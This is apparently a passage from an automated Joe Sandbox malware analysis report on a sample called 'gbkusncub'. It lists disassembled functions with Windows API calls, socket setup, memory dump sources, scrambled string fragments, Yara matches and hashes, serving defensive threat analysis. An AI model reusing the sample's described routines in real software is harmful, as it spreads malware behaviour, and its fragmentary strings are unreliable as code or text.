                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0078A222
                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0078A232
                                                                                                                                                          • Part of subcall function 0077E2AE: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0077E2C9
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                                                                                                                        • String ID: *.*
                                                                                                                                                        • API String ID: 2640511053-438819550
                                                                                                                                                        • Opcode ID: 3378c48fb00b72debe4dc6946dd87cc4202b391f820d3eeed891b86b9d963b87
                                                                                                                                                        • Instruction ID: 597e4a6c66eab2fcafdfcdbebdd2c0350fcaefb371097569582776228a0112df
                                                                                                                                                        • Opcode Fuzzy Hash: 3378c48fb00b72debe4dc6946dd87cc4202b391f820d3eeed891b86b9d963b87
                                                                                                                                                        • Instruction Fuzzy Hash: 6E31E77154021DBAEF20BFA4DC48ADE73ADAF85320F104153E811A21A1EB7DDE45CB65
                                                                                                                                                        Function 00794089 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CoInitialize.OLE32 ref: 007940D1
                                                                                                                                                        • CoUninitialize.OLE32 ref: 007940DC
                                                                                                                                                        • CoCreateInstance.OLE32(?,00000000,00000017,007B0B44,?), ref: 00794136
                                                                                                                                                        • IIDFromString.OLE32(?,?), ref: 007941A9
                                                                                                                                                        • VariantInit.OLEAUT32(?), ref: 00794241
                                                                                                                                                        • VariantClear.OLEAUT32(?), ref: 00794293
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                                                                                                                        • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                                                                                                                        • API String ID: 636576611-1287834457
                                                                                                                                                        • Opcode ID: 457012f03d530601d5d81ac5d600bf3cc676525d908ea0890c30e1f7c9c52014
                                                                                                                                                        • Instruction ID: d57ee5f3c69484acf8bb9a84335990c5d05cbf45b041b3200889211dddc327fb
                                                                                                                                                        • Opcode Fuzzy Hash: 457012f03d530601d5d81ac5d600bf3cc676525d908ea0890c30e1f7c9c52014
                                                                                                                                                        • Instruction Fuzzy Hash: F261AF70208301DFCB10DF64E849F6ABBE8BF89714F104809F9859B291D778ED89CB92
                                                                                                                                                        Function 00792163 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 007939AB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 007939D7
                                                                                                                                                          • Part of subcall function 007939AB: _wcslen.LIBCMT ref: 007939F8
                                                                                                                                                        • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 007921BA
                                                                                                                                                        • WSAGetLastError.WSOCK32 ref: 007921E1
                                                                                                                                                        • bind.WSOCK32(00000000,?,00000010), ref: 00792238
                                                                                                                                                        • WSAGetLastError.WSOCK32 ref: 00792243
                                                                                                                                                        • closesocket.WSOCK32(00000000), ref: 00792272
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1601658205-0
                                                                                                                                                        • Opcode ID: 791709452fd40a0b27fe531062c15687b628d28e76649569b53e8cc574cc4a73
                                                                                                                                                        • Instruction ID: f8fe0c2e066da0e4d7ae92c60030667aced60cea6d3ecf968d8e11df75224e80
                                                                                                                                                        • Opcode Fuzzy Hash: 791709452fd40a0b27fe531062c15687b628d28e76649569b53e8cc574cc4a73
                                                                                                                                                        • Instruction Fuzzy Hash: 0B51D375640210AFDB10AF28D89AF6A77E5AF45714F448048F916AF3D3C678AD82CBE1
                                                                                                                                                        Function 013A8ACB Relevance: 1.3, Strings: 1, Instructions: 29COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01391000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: *!!
                                                                                                                                                        • API String ID: 0-4111524303
                                                                                                                                                        • Opcode ID: cf73441d6ea71c9d98408be558ce5d5f29a6fe7b12c67dad68152ee45da7d224
                                                                                                                                                        • Instruction ID: c803262fd899c3eb15543e5050420151fe30ee6b61bc833863e5d3573d01644c
                                                                                                                                                        • Opcode Fuzzy Hash: cf73441d6ea71c9d98408be558ce5d5f29a6fe7b12c67dad68152ee45da7d224
                                                                                                                                                        • Instruction Fuzzy Hash: 1CE0C043B2874003CB2B9A7C9C1027DF760C683031B00236BCE34B31C0FA11C81C06C4
                                                                                                                                                        Function 0137A6C3 Relevance: 1.3, Strings: 1, Instructions: 29COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: *!!
                                                                                                                                                        • API String ID: 0-4111524303
                                                                                                                                                        • Opcode ID: cf73441d6ea71c9d98408be558ce5d5f29a6fe7b12c67dad68152ee45da7d224
                                                                                                                                                        • Instruction ID: 4c69d30fbf20042a68486a4ee3ded55ee0a6d6f3c3ad7b557182720aca89ec6c
                                                                                                                                                        • Opcode Fuzzy Hash: cf73441d6ea71c9d98408be558ce5d5f29a6fe7b12c67dad68152ee45da7d224
                                                                                                                                                        • Instruction Fuzzy Hash: 81E06802A2864002CB2A9A6C981026DF760C682021B04136BCA34B3180FA21C81806C4
                                                                                                                                                        Function 013A8ACB Relevance: 1.3, Strings: 1, Instructions: 29COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: *!!
                                                                                                                                                        • API String ID: 0-4111524303
                                                                                                                                                        • Opcode ID: cf73441d6ea71c9d98408be558ce5d5f29a6fe7b12c67dad68152ee45da7d224
                                                                                                                                                        • Instruction ID: c803262fd899c3eb15543e5050420151fe30ee6b61bc833863e5d3573d01644c
                                                                                                                                                        • Opcode Fuzzy Hash: cf73441d6ea71c9d98408be558ce5d5f29a6fe7b12c67dad68152ee45da7d224
                                                                                                                                                        • Instruction Fuzzy Hash: 1CE0C043B2874003CB2B9A7C9C1027DF760C683031B00236BCE34B31C0FA11C81C06C4
                                                                                                                                                        Function 0139B180 Relevance: .0, Instructions: 13COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01391000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 6fdb5d962cb1f86e8147c9bd6198d47279a6e91c6587f141da967a87c653173b
                                                                                                                                                        • Instruction ID: 74fc0706d39a7bc634382559c14bd00d220f343a0a708aa946c05706e07cdea6
                                                                                                                                                        • Opcode Fuzzy Hash: 6fdb5d962cb1f86e8147c9bd6198d47279a6e91c6587f141da967a87c653173b
                                                                                                                                                        • Instruction Fuzzy Hash: 45C04C70A451585BDB0889799E127EA76988305211F1402BD780FC2244E55E591055A6
                                                                                                                                                        Function 0139B180 Relevance: .0, Instructions: 13COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID:
                                                                                                                                                        • Opcode ID: 6fdb5d962cb1f86e8147c9bd6198d47279a6e91c6587f141da967a87c653173b
                                                                                                                                                        • Instruction ID: 74fc0706d39a7bc634382559c14bd00d220f343a0a708aa946c05706e07cdea6
                                                                                                                                                        • Opcode Fuzzy Hash: 6fdb5d962cb1f86e8147c9bd6198d47279a6e91c6587f141da967a87c653173b
                                                                                                                                                        • Instruction Fuzzy Hash: 45C04C70A451585BDB0889799E127EA76988305211F1402BD780FC2244E55E591055A6
                                                                                                                                                        Function 0136DAC8 Relevance: 52.7, Strings: 42, Instructions: 166COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
                                                                                                                                                        • API String ID: 0-2319971335
                                                                                                                                                        • Opcode ID: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
                                                                                                                                                        • Instruction ID: 6a8d07b29d090b46919d61acaa6f44f908f7b66471e7ff7c147c4750249c73c5
                                                                                                                                                        • Opcode Fuzzy Hash: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
                                                                                                                                                        • Instruction Fuzzy Hash: 889101F09052998ACB118F59A4603DFBF71BB95204F15C1E9C6AA7B243C3BE4E45DF90
                                                                                                                                                        Function 013681AB Relevance: 41.5, Strings: 33, Instructions: 248COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $.$N$\$\$\$\$\$\$d$e$e$e$e$f$i$i$i$k$k$n$o$o$o$o$q$r$r$s$s$t$u$w
                                                                                                                                                        • API String ID: 0-1512772454
                                                                                                                                                        • Opcode ID: f47a627ff46d61f4c5f59f3a103fcebfe10843292cb4afde18462c9a4e40cb41
                                                                                                                                                        • Instruction ID: 4ade8d1868380cb63cff85e52ff4199643f8a2beb4c3f51da1e9b718befa0615
                                                                                                                                                        • Opcode Fuzzy Hash: f47a627ff46d61f4c5f59f3a103fcebfe10843292cb4afde18462c9a4e40cb41
                                                                                                                                                        • Instruction Fuzzy Hash: 1EA150B5810219AAEB20DFA8CC44FEE777DBF15708F00459DE2186B141DBB45788CB69
                                                                                                                                                        Function 013965B3 Relevance: 41.5, Strings: 33, Instructions: 248COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $.$N$\$\$\$\$\$\$d$e$e$e$e$f$i$i$i$k$k$n$o$o$o$o$q$r$r$s$s$t$u$w
                                                                                                                                                        • API String ID: 0-1512772454
                                                                                                                                                        • Opcode ID: f47a627ff46d61f4c5f59f3a103fcebfe10843292cb4afde18462c9a4e40cb41
                                                                                                                                                        • Instruction ID: 97793c675bab9589ff048685db90d1a415f9d4cc05ac7c10e0d5fee81c866f3f
                                                                                                                                                        • Opcode Fuzzy Hash: f47a627ff46d61f4c5f59f3a103fcebfe10843292cb4afde18462c9a4e40cb41
                                                                                                                                                        • Instruction Fuzzy Hash: 55A190B1910219AAEB10DFE8CC44FEE7779EF15308F4041ADA20D6B141DBB55A888FB9
                                                                                                                                                        Function 013681B8 Relevance: 41.5, Strings: 33, Instructions: 232COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $.$N$\$\$\$\$\$\$d$e$e$e$e$f$i$i$i$k$k$n$o$o$o$o$q$r$r$s$s$t$u$w
                                                                                                                                                        • API String ID: 0-1512772454
                                                                                                                                                        • Opcode ID: ae1fb850284dbf04006f5aa00a57132a02d85f0ef11fd7a7637cbc97f281f5f7
                                                                                                                                                        • Instruction ID: 4568415fd8ce1a2b408afa72c937eb3fc7bcdc2ec5a41d3114c0051066ddea6b
                                                                                                                                                        • Opcode Fuzzy Hash: ae1fb850284dbf04006f5aa00a57132a02d85f0ef11fd7a7637cbc97f281f5f7
                                                                                                                                                        • Instruction Fuzzy Hash: 94913EB5810219AAEB20EFA8CC44FEE777DBF15708F00459DE20867140DBB557888FB9
                                                                                                                                                        Function 013965C0 Relevance: 41.5, Strings: 33, Instructions: 232COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $.$N$\$\$\$\$\$\$d$e$e$e$e$f$i$i$i$k$k$n$o$o$o$o$q$r$r$s$s$t$u$w
                                                                                                                                                        • API String ID: 0-1512772454
                                                                                                                                                        • Opcode ID: ae1fb850284dbf04006f5aa00a57132a02d85f0ef11fd7a7637cbc97f281f5f7
                                                                                                                                                        • Instruction ID: 8a0c1a23a1baefbcee797de264e8bdb3a4bda3cf3d3f4526b51ec911491772b5
                                                                                                                                                        • Opcode Fuzzy Hash: ae1fb850284dbf04006f5aa00a57132a02d85f0ef11fd7a7637cbc97f281f5f7
                                                                                                                                                        • Instruction Fuzzy Hash: 949171B1920219AAEB14EFD8CC44FEF777DEF15708F404169A2096B140DBB55A888FB9
                                                                                                                                                        Function 01367048 Relevance: 34.1, Strings: 27, Instructions: 359COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $ x64$ x86$1$4.1$:$C$FBNG:$P$P$T$a$e$e$e$e$i$m$o$o$o$r$r$s$t$t$u
                                                                                                                                                        • API String ID: 0-4053805006
                                                                                                                                                        • Opcode ID: f75a2f937f2573bfa213b313ea5962b4b2589611ed93ad035502777a82722814
                                                                                                                                                        • Instruction ID: 0a4eab2829c15f80b5d378353b17dcf9053e687aa21855cdafb6c92b141b4cb6
                                                                                                                                                        • Opcode Fuzzy Hash: f75a2f937f2573bfa213b313ea5962b4b2589611ed93ad035502777a82722814
                                                                                                                                                        • Instruction Fuzzy Hash: B5E182B1900319AEEB20DFA8CC45FEEB7BCBF54308F404559E61DA6140EBB56684CBA5
                                                                                                                                                        Function 01395450 Relevance: 34.1, Strings: 27, Instructions: 359COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $ x64$ x86$1$4.1$:$C$FBNG:$P$P$T$a$e$e$e$e$i$m$o$o$o$r$r$s$t$t$u
                                                                                                                                                        • API String ID: 0-4053805006
                                                                                                                                                        • Opcode ID: f75a2f937f2573bfa213b313ea5962b4b2589611ed93ad035502777a82722814
                                                                                                                                                        • Instruction ID: 98ac8b6e641438d2f061b469958cc45bd6f41a1045a5a71adfad536a071ebdf8
                                                                                                                                                        • Opcode Fuzzy Hash: f75a2f937f2573bfa213b313ea5962b4b2589611ed93ad035502777a82722814
                                                                                                                                                        • Instruction Fuzzy Hash: 4BE193B1910309AEEB14DFA8DC41FEEB7B9EF14308F40415DE60DA7541EBB16A84CBA5
                                                                                                                                                        Function 013A42D0 Relevance: 25.2, Strings: 20, Instructions: 231COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
                                                                                                                                                        • API String ID: 0-3236418099
                                                                                                                                                        • Opcode ID: 74ccdeb539e91aea9e93acee6e23c63143837e17c85a71b8e9fee706274eb3d8
                                                                                                                                                        • Instruction ID: 02937f246466bfc8bd76442d4bcb445c0ecc06ed6bf01fde97914fc5943bf898
                                                                                                                                                        • Opcode Fuzzy Hash: 74ccdeb539e91aea9e93acee6e23c63143837e17c85a71b8e9fee706274eb3d8
                                                                                                                                                        • Instruction Fuzzy Hash: BF8192B1901218AEEB50DF98DC44FEEB7BDEF54308F4041A9E60CA6140EBB15B85CFA5
                                                                                                                                                        Function 013A42CF Relevance: 25.1, Strings: 20, Instructions: 82COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
                                                                                                                                                        • API String ID: 0-3236418099
                                                                                                                                                        • Opcode ID: a624da5702c92f6cdc187d7c51cbd0f112e5c3a70ab03ca67102cda1833436a2
                                                                                                                                                        • Instruction ID: 18391ab84d0a9405fb6dd24286ac3fdc498916cafc479fc6dc861ce25897dcaa
                                                                                                                                                        • Opcode Fuzzy Hash: a624da5702c92f6cdc187d7c51cbd0f112e5c3a70ab03ca67102cda1833436a2
                                                                                                                                                        • Instruction Fuzzy Hash: F93107B0D00318DEEF60DFA59848BDEBFB9FF05348F5041A9950CAA251DBB54A88CF55
                                                                                                                                                        Function 01376208 Relevance: 25.1, Strings: 20, Instructions: 64COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $ $O$S$\$\$a$a$a$a$a$e$e$i$l$o$o$p$r$t
                                                                                                                                                        • API String ID: 0-815130641
                                                                                                                                                        • Opcode ID: e2c44d8ef55d090db33f502b75cca657dd827da1f81326193887e353da643d3e
                                                                                                                                                        • Instruction ID: e7bb958a94c0061f33d0a5c6e42f9bacfa271cb403a65ece77d0085cc493262a
                                                                                                                                                        • Opcode Fuzzy Hash: e2c44d8ef55d090db33f502b75cca657dd827da1f81326193887e353da643d3e
                                                                                                                                                        • Instruction Fuzzy Hash: 8C2160B1D01318DAEB209F85D849BDDBFBABB04718F10411DE5082F281C7FA45888FA5
                                                                                                                                                        Function 013A4610 Relevance: 25.1, Strings: 20, Instructions: 64COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $ $O$S$\$\$a$a$a$a$a$e$e$i$l$o$o$p$r$t
                                                                                                                                                        • API String ID: 0-815130641
                                                                                                                                                        • Opcode ID: e2c44d8ef55d090db33f502b75cca657dd827da1f81326193887e353da643d3e
                                                                                                                                                        • Instruction ID: f865c299b9deca5784ca9c0e1641759f417cd008838f39673497155425eaa85f
                                                                                                                                                        • Opcode Fuzzy Hash: e2c44d8ef55d090db33f502b75cca657dd827da1f81326193887e353da643d3e
                                                                                                                                                        • Instruction Fuzzy Hash: 342141B1D01318DAEB209FC5E8487EDBFBAEB40718F54411DE5082F282D7F655888FA5
                                                                                                                                                        Function 01376203 Relevance: 25.1, Strings: 20, Instructions: 58COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $ $O$S$\$\$a$a$a$a$a$e$e$i$l$o$o$p$r$t
                                                                                                                                                        • API String ID: 0-815130641
                                                                                                                                                        • Opcode ID: 892c7fcd245bc14c74ddda9e81b9d42b6126d713940d97fffabf9cc3c2d66b37
                                                                                                                                                        • Instruction ID: 5c9faf00dd3c7a43111c13acaef9a8c240d498f157ed443b98f7e0dce677190a
                                                                                                                                                        • Opcode Fuzzy Hash: 892c7fcd245bc14c74ddda9e81b9d42b6126d713940d97fffabf9cc3c2d66b37
                                                                                                                                                        • Instruction Fuzzy Hash: BB212CB0D01318EAEB209F959859BDDBFBABB44718F14411CE5142F282D7FA4588CFA5
                                                                                                                                                        Function 013A460B Relevance: 25.1, Strings: 20, Instructions: 58COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
